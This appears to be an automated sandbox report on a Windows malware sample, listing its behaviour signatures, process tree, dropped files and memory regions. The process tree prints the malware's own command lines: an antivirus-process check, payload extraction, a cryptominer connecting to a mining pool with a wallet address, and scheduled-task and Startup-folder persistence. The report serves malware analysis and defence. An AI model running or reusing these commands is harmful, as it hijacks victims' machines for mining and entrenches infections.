Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/08/2025, 17:25

General

  • Target
    SecuriteInfo.com.Win32.Malware-gen.63978713.exe
  • Size 1.9MB
  • Sample250827-vzelhssthv
  • SHA256 ef69941b32be75da6500aa8a2c210bbc0470947c720a526f926f6a2c77141711
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3264
      • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Malware-gen.63978713.exe
        "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.Malware-gen.63978713.exe"
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3192
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c cmd < Prayers.mil
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:920
          • C:\Windows\SysWOW64\cmd.exe
            cmd
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1380
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1176
            • C:\Windows\SysWOW64\findstr.exe
              findstr "SophosHealth nsWscSvc ekrn bdservicehost AvastUI AVGUI & if not errorlevel 1 Set ZZmXPreUrHzIxuQmWwAgiGx=AutoIt3.exe & Set YSIuiHTexDPcOeCNGbWhbaUtfU=.a3x & Set QZcPKtRhac=300
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6128
            • C:\Windows\SysWOW64\extrac32.exe
              extrac32 /Y Really.mil *.*
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3712
            • C:\Windows\SysWOW64\findstr.exe
              findstr /V "during" Classics
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2316
            • C:\Users\Admin\AppData\Local\Temp\607498\Individuals.pif
              Individuals.pif E
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:4820
              • C:\Users\Admin\AppData\Local\Temp\607498\RegAsm.exe
                C:\Users\Admin\AppData\Local\Temp\607498\RegAsm.exe
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5028
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o pool.hashvault.pro:443 -u 48Cb6NeYoDDfvApHNprsoNis6Vxy9nhd1fTQVrxuSo6NFFzLHXcDhxY3g6KgSKJN7b9Yj6sveW3woKSV5wdVP9FX3CN6KMU.Worker_CPU -p x --cpu-max-threads-hint=50 -k
                  7⤵
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:2096
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c schtasks.exe /create /tn "Releases" /tr "explorer.exe 'C:\Users\Admin\AppData\Local\EduTech Dynamics\EduSphere.lnk'" /sc minute /mo 5 /F
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "Releases" /tr "explorer.exe 'C:\Users\Admin\AppData\Local\EduTech Dynamics\EduSphere.lnk'" /sc minute /mo 5 /F
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3368
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EduSphere.url" & echo URL="C:\Users\Admin\AppData\Local\EduTech Dynamics\EduSphere.lnk" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EduSphere.url" & exit
        2⤵
        • Drops startup file
        PID:1928

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          E

          • Path C:\Users\Admin\AppData\Local\Temp\607498\E
          • Size 1.3MB
          • SHA256 f1296795f9e0245f42972086074ae72a5e13888bb068e59b67b07a0b5da1a1d7
          • MD5 SHA1 SHA512 SSDEEP

          Individuals.pif

          • Path C:\Users\Admin\AppData\Local\Temp\607498\Individuals.pif
          • Size 1.1MB
          • SHA256 881619a47b62b52305d92640cc4d4845a279c23a5a749413785fc8fcb0fdf7fb
          • MD5 SHA1 SHA512 SSDEEP

          RegAsm.exe

          • Path C:\Users\Admin\AppData\Local\Temp\607498\RegAsm.exe
          • Size 63KB
          • SHA256 1136010a4706295f80343fe364d90d5789288dead5ab0ed0e0981d29ad669bbc
          • MD5 SHA1 SHA512 SSDEEP

          Arrives

          • Path C:\Users\Admin\AppData\Local\Temp\Arrives
          • Size 105KB
          • SHA256 1b321be7f3213e914e3eaebf1a37a0c4a4a7c485429e235836c549b948fa68be
          • MD5 SHA1 SHA512 SSDEEP

          Assumption.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Assumption.mil
          • Size 275KB
          • SHA256 cfc4f0ebad464fb03505fa5fd41d58a124ae5180d16bf8db5a06bab05b64e5ca
          • MD5 SHA1 SHA512 SSDEEP

          By

          • Path C:\Users\Admin\AppData\Local\Temp\By
          • Size 34KB
          • SHA256 c2bf748381a547982d4b4d3d41aec3430519a4349dad78bff47b1c922c303018
          • MD5 SHA1 SHA512 SSDEEP

          Classics

          • Path C:\Users\Admin\AppData\Local\Temp\Classics
          • Size 952B
          • SHA256 4e3a4b7c26f1e266a035337b540d16eb1d809723a703346981b7abbffea71a56
          • MD5 SHA1 SHA512

          Corporate

          • Path C:\Users\Admin\AppData\Local\Temp\Corporate
          • Size 98KB
          • SHA256 6e0a41aef668b9f5de728fd8430327ebb88189ae4faddf6f4312fb82791e4b76
          • MD5 SHA1 SHA512 SSDEEP

          Ended.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Ended.mil
          • Size 185KB
          • SHA256 9e81f5c2781fb83c69340c31efabdfbec94a2f72ab8dcac01e7a1fd4fa31116a
          • MD5 SHA1 SHA512 SSDEEP

          Evaluated

          • Path C:\Users\Admin\AppData\Local\Temp\Evaluated
          • Size 112KB
          • SHA256 17c5e6c04d9365aaf7953aaec43ef1535b6cea50c0abc2e16530ef246887b391
          • MD5 SHA1 SHA512 SSDEEP

          Excerpt.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Excerpt.mil
          • Size 213KB
          • SHA256 b094de2c7689000b64fc5bfd09aceb56dd3ae821f2261594dbc4ca3e4b0b002b
          • MD5 SHA1 SHA512 SSDEEP

          Forecasts

          • Path C:\Users\Admin\AppData\Local\Temp\Forecasts
          • Size 59KB
          • SHA256 0cc17ccf680f8ff78d53386b049c38b9c3c537be9cfec655b7bc26b3536c170a
          • MD5 SHA1 SHA512 SSDEEP

          George.mil

          • Path C:\Users\Admin\AppData\Local\Temp\George.mil
          • Size 289KB
          • SHA256 1b3447b3d8e73726e51605f4dd7d17a9c4c42325cad701a042602b260c2c3ef6
          • MD5 SHA1 SHA512 SSDEEP

          Hardwood

          • Path C:\Users\Admin\AppData\Local\Temp\Hardwood
          • Size 112KB
          • SHA256 6415124a444b1e60b814554e417c2dd3a69af4b7970196dc823a295a5119fe32
          • MD5 SHA1 SHA512 SSDEEP

          Ist

          • Path C:\Users\Admin\AppData\Local\Temp\Ist
          • Size 59KB
          • SHA256 c54eb0f7663307d385fc9908e103373923f9fdb847e9dc9f014192b705dbff88
          • MD5 SHA1 SHA512 SSDEEP

          Latitude

          • Path C:\Users\Admin\AppData\Local\Temp\Latitude
          • Size 132KB
          • SHA256 a76ea8016977a4170a99537f5f83d610afc394f1b3741a42f37b90e84f00b299
          • MD5 SHA1 SHA512 SSDEEP

          Master.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Master.mil
          • Size 145KB
          • SHA256 06fda8e05f4e0fbb91379542957242cea895073089b5b757aa5810252fc592d0
          • MD5 SHA1 SHA512 SSDEEP

          Prayers.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Prayers.mil
          • Size 25KB
          • SHA256 afaf7cf5cf16c931cd3e9be1fab803ce212bfca5d4e4378fe8903f13171fe0e0
          • MD5 SHA1 SHA512 SSDEEP

          Ranging

          • Path C:\Users\Admin\AppData\Local\Temp\Ranging
          • Size 120KB
          • SHA256 34dbb24d368fb66ab6185205386d8078763c487ccb1634fb2a69d2da5628d82a
          • MD5 SHA1 SHA512 SSDEEP

          Really.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Really.mil
          • Size 531KB
          • SHA256 930c364ec137ba561ab5cbc86e6c95da854afd18b7320b0bfa1ad308f7e0b12f
          • MD5 SHA1 SHA512 SSDEEP

          Still

          • Path C:\Users\Admin\AppData\Local\Temp\Still
          • Size 59KB
          • SHA256 158006cd4b242cb3f31a305ac2e07c5a44e66f7df78c5e8429202a182119ff86
          • MD5 SHA1 SHA512 SSDEEP

          Tell

          • Path C:\Users\Admin\AppData\Local\Temp\Tell
          • Size 72KB
          • SHA256 f08e0c5d4175d5d5e6e0beff0010cf0fd9db6e1188b0ec4db9c5f6e34207fd41
          • MD5 SHA1 SHA512 SSDEEP

          Tranny

          • Path C:\Users\Admin\AppData\Local\Temp\Tranny
          • Size 119KB
          • SHA256 2c80a215bcb9f313affdedfab822fcb29ddf3a30171ebbc4a43a0dfbff5883c4
          • MD5 SHA1 SHA512 SSDEEP

          Translation.mil

          • Path C:\Users\Admin\AppData\Local\Temp\Translation.mil
          • Size 244KB
          • SHA256 21593da014197395eae707c8593f30058bac062c8c278ca34ef4945ea92dd7e2
          • MD5 SHA1 SHA512 SSDEEP

          nsExec.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsn81A5.tmp\nsExec.dll
          • Size 6KB
          • SHA256 8165c7aef7de3d3e0549776535bedc380ad9be7bb85e60ad6436f71528d092af
          • MD5 SHA1 SHA512 SSDEEP

          memory/5028-186-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-162-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-118-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-120-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-222-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-221-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-218-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-216-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-214-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-212-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-210-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-208-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-206-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-204-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-202-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-198-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-196-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-194-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-192-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-190-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-188-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-95-0x0000000000400000-0x00000000004B0000-memory.dmp

          memory/5028-200-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-184-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-180-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-178-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-176-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-174-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-172-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-170-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-168-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-166-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-164-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-98-0x00000144573D0000-0x00000144574DE000-memory.dmp

          memory/5028-160-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-156-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-154-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-152-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-150-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-148-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-146-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-144-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-142-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-140-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-138-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-136-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-132-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-130-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-128-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-126-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-124-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-122-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-116-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-114-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-112-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-110-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-108-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-106-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-104-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-102-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-100-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-182-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-159-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-134-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-99-0x00000144573D0000-0x00000144574DA000-memory.dmp

          memory/5028-2927-0x000001443E9E0000-0x000001443EA36000-memory.dmp

          memory/5028-2928-0x000001443EA40000-0x000001443EA8C000-memory.dmp

          memory/5028-2929-0x0000014457FB0000-0x0000014458004000-memory.dmp